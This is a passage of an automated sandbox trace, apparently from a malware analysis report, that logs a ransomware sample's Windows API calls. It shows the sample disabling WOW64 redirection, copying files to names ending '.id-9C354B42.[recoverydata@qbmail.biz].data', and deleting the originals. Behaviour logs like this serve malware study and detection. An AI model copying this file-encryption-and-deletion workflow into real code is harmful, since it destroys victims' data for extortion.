(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0097.459] lstrlenW (lpString=".dbf") returned 4 [0097.459] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0097.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0097.459] lstrlenW (lpString=".1cd") returned 4 [0097.459] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0097.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0097.459] lstrlenW (lpString=".jpg") returned 4 [0097.459] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0097.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0097.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0097.460] lstrlenW (lpString=".doc") returned 4 [0097.460] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0097.460] lstrlenW (lpString=".docx") returned 5 [0097.460] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0097.460] lstrlenW (lpString=".pdf") returned 4 [0097.460] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0097.460] lstrlenW (lpString=".xls") returned 4 [0097.460] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0097.460] lstrlenW (lpString=".xlsx") returned 5 [0097.460] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0097.460] lstrlenW (lpString=".ppt") returned 4 [0097.460] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0097.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0097.460] lstrlenW (lpString=".zip") returned 4 [0097.460] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0097.461] lstrlenW (lpString=".rar") returned 4 [0097.461] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0097.461] lstrlenW (lpString=".bz2") returned 4 [0097.461] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0097.461] lstrlenW (lpString=".7z") returned 3 [0097.461] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0097.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0097.461] lstrlenW (lpString=".dbf") returned 4 [0097.461] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0097.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0097.462] lstrlenW (lpString=".1cd") returned 4 [0097.462] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0097.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0097.462] lstrlenW (lpString=".jpg") returned 4 [0097.462] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0097.462] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0097.462] lstrlenW (lpString="STOCKS.XML") returned 10 [0097.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0100.188] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=2687) returned 1 [0100.189] CloseHandle (hObject=0x21c) returned 1 [0100.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0100.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0100.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0100.189] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.189] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0100.190] GetLastError () returned 0x0 [0100.190] ReadFile (in: hFile=0x21c, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0xa7f, lpOverlapped=0x0) returned 1 [0100.225] WriteFile (in: hFile=0x1b4, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xa80, lpOverlapped=0x0) returned 1 [0100.227] ReadFile (in: hFile=0x21c, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0100.227] WriteFile (in: hFile=0x1b4, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0100.227] SetEndOfFile (hFile=0x1b4) returned 1 [0100.227] CloseHandle (hObject=0x1b4) returned 1 [0100.227] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.227] SetEndOfFile (hFile=0x21c) returned 1 [0100.228] CloseHandle (hObject=0x21c) returned 1 [0100.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0100.229] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 1 [0100.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0100.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0100.229] lstrlenW (lpString=".doc") returned 4 [0100.229] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0100.229] lstrlenW (lpString=".docx") returned 5 [0100.229] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0100.229] lstrlenW (lpString=".pdf") returned 4 [0100.229] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0100.229] lstrlenW (lpString=".xls") returned 4 [0100.229] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0100.229] lstrlenW (lpString=".xlsx") returned 5 [0100.229] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0100.229] lstrlenW (lpString=".ppt") returned 4 [0100.229] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0100.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0100.229] lstrlenW (lpString=".zip") returned 4 [0100.229] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0100.230] lstrlenW (lpString=".rar") returned 4 [0100.230] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0100.230] lstrlenW (lpString=".bz2") returned 4 [0100.230] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0100.230] lstrlenW (lpString=".7z") returned 3 [0100.230] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0100.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0100.230] lstrlenW (lpString=".dbf") returned 4 [0100.230] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0100.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0100.230] lstrlenW (lpString=".1cd") returned 4 [0100.230] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0100.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0100.230] lstrlenW (lpString=".jpg") returned 4 [0100.230] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0100.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0100.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0100.230] lstrlenW (lpString=".doc") returned 4 [0100.230] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0100.230] lstrlenW (lpString=".docx") returned 5 [0100.230] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0100.230] lstrlenW (lpString=".pdf") returned 4 [0100.230] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0100.230] lstrlenW (lpString=".xls") returned 4 [0100.230] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0100.230] lstrlenW (lpString=".xlsx") returned 5 [0100.230] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0100.230] lstrlenW (lpString=".ppt") returned 4 [0100.230] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0100.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0100.231] lstrlenW (lpString=".zip") returned 4 [0100.231] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0100.231] lstrlenW (lpString=".rar") returned 4 [0100.231] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0100.231] lstrlenW (lpString=".bz2") returned 4 [0100.231] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0100.231] lstrlenW (lpString=".7z") returned 3 [0100.231] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0100.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0100.231] lstrlenW (lpString=".dbf") returned 4 [0100.231] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0100.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0100.231] lstrlenW (lpString=".1cd") returned 4 [0100.231] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0100.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0100.231] lstrlenW (lpString=".jpg") returned 4 [0100.231] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0100.314] lstrcmpiW (lpString1=".TXT", lpString2=".data") returned 1 [0100.314] lstrlenW (lpString="METCONV.TXT") returned 11 [0100.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0100.317] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=1183416) returned 1 [0100.317] CloseHandle (hObject=0x1b4) returned 1 [0100.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0100.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0100.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0100.317] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.317] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0100.321] GetLastError () returned 0x0 [0100.321] ReadFile (hFile=0x1b4, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0) Thread: id = 12 os_tid = 0x7bc [0073.983] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x675488 [0073.984] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x685490 [0073.984] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6023e0 [0073.984] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x602890 [0073.984] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6023f8 [0073.984] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x3770020 [0073.984] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x602410 [0073.984] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x602410, Size=0x20) returned 0x6096d8 [0073.985] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x602410 [0073.985] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x602410, Size=0x20) returned 0x609700 [0073.985] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0073.985] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0073.985] Wow64DisableWow64FsRedirection (in: OldValue=0x2dcff58 | out: OldValue=0x2dcff58*=0x0) returned 1 [0073.985] lstrlenW (lpString="kernel32.dll") returned 12 [0073.985] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6096d8 | out: hHeap=0x5b0000) returned 1 [0073.985] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0073.985] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x609700 | out: hHeap=0x5b0000) returned 1 [0073.985] Sleep (dwMilliseconds=0x64) [0074.263] lstrcmpiW (lpString1=".ttf", lpString2=".data") returned 1 [0074.264] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0074.264] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0075.056] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1984228) returned 1 [0075.056] CloseHandle (hObject=0x198) returned 1 [0075.056] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0075.057] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0075.057] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0 [0075.057] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0075.057] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0075.057] lstrlenW (lpString=".doc") returned 4 [0075.057] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0075.057] lstrlenW (lpString=".docx") returned 5 [0075.057] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0075.057] lstrlenW (lpString=".pdf") returned 4 [0075.057] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0075.057] lstrlenW (lpString=".xls") returned 4 [0075.057] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0075.057] lstrlenW (lpString=".xlsx") returned 5 [0075.058] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0075.058] lstrlenW (lpString=".ppt") returned 4 [0075.058] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0075.058] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0075.058] lstrlenW (lpString=".zip") returned 4 [0075.058] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0075.058] lstrlenW (lpString=".rar") returned 4 [0075.058] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0075.058] lstrlenW (lpString=".bz2") returned 4 [0075.058] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0075.058] lstrlenW (lpString=".7z") returned 3 [0075.058] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0075.058] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0075.058] lstrlenW (lpString=".dbf") returned 4 [0075.059] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0075.059] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0075.059] lstrlenW (lpString=".1cd") returned 4 [0075.059] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0075.059] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0075.059] lstrlenW (lpString=".jpg") returned 4 [0075.059] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0075.059] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0075.060] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0075.060] lstrlenW (lpString=".doc") returned 4 [0075.060] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0075.060] lstrlenW (lpString=".docx") returned 5 [0075.060] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0075.060] lstrlenW (lpString=".pdf") returned 4 [0075.060] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0075.060] lstrlenW (lpString=".xls") returned 4 [0075.060] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0075.060] lstrlenW (lpString=".xlsx") returned 5 [0075.060] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0075.060] lstrlenW (lpString=".ppt") returned 4 [0075.060] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0075.060] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0075.060] lstrlenW (lpString=".zip") returned 4 [0075.060] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0075.060] lstrlenW (lpString=".rar") returned 4 [0075.061] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0075.061] lstrlenW (lpString=".bz2") returned 4 [0075.061] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0075.061] lstrlenW (lpString=".7z") returned 3 [0075.061] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0075.061] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0075.061] lstrlenW (lpString=".dbf") returned 4 [0075.061] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0075.061] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0075.061] lstrlenW (lpString=".1cd") returned 4 [0075.061] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0075.061] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0075.062] lstrlenW (lpString=".jpg") returned 4 [0075.062] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0075.062] lstrcmpiW (lpString1=".msi", lpString2=".data") returned 1 [0075.062] lstrlenW (lpString="ExcelMUI.msi") returned 12 [0075.062] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0075.279] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2506240) returned 1 [0075.279] CloseHandle (hObject=0x1b4) returned 1 [0075.279] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi")) returned 0x2020 [0075.279] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0075.279] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0075.282] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0075.283] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc6c | out: lpNewFilePointer=0x0) returned 1 [0075.283] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0075.283] ReadFile (in: hFile=0x1b4, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.345] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0075.348] ReadFile (in: hFile=0x1b4, lpBuffer=0x37b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x37b0058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.393] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dcfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0075.393] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0075.393] ReadFile (in: hFile=0x1b4, lpBuffer=0x37f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x37f0058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.625] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.625] WriteFile (in: hFile=0x1b4, lpBuffer=0x3770020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2dcfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3770020*, lpNumberOfBytesWritten=0x2dcfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0076.130] SetEndOfFile (hFile=0x1b4) returned 1 [0076.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3f73098 [0076.136] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0076.136] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f73098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: 